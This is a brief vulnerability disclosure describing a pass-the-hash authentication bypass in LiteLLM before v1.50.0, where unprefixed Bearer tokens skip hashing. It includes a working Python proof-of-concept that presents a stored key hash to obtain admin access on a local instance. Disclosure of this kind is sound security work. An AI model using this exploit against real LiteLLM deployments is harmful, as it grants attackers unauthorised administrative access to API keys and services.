LiteLLM Authentication Bypass via Pass-the-Hash
Target Platform: LiteLLM < v1.50.0
🔍 Vulnerability Mechanism
LiteLLM hashes user API keys using SHA-256 before storing them in the database. During authentication, the server parses incoming Bearer tokens conditionally using _hash_token_if_needed(token).
If the token starts with the prefix sk-, it is hashed. If it does not, hashing is skipped, and the token is matched directly against the stored hash in the database.
💥 Exploitation Path
An attacker who acquires a stored SHA-256 database key hash (e.g., from logs, database leaks, or backups) can supply the hash directly as the Bearer token.
Because the hash lacks the sk- prefix, LiteLLM does not hash it, and the database lookup succeeds, granting administrative authorization.
💻 Proof of Concept Script
import requests
import hashlib
# Target instance URL
TARGET_URL = "http://localhost:4000"
# Exposed SHA-256 key hash from DB
db_hash = "4de6944a7c8afefe39feabc2293761d72270e14b397373581f23ce3db12ddf82"
# Supply the hash directly as the Bearer token
headers = {
"Authorization": f"Bearer {db_hash}",
"Content-Type": "application/json"
}
# The server skips hashing (no "sk-" prefix) and grants admin access
response = requests.get(f"{TARGET_URL}/key/info", headers=headers)
print(response.json())
REGAAN R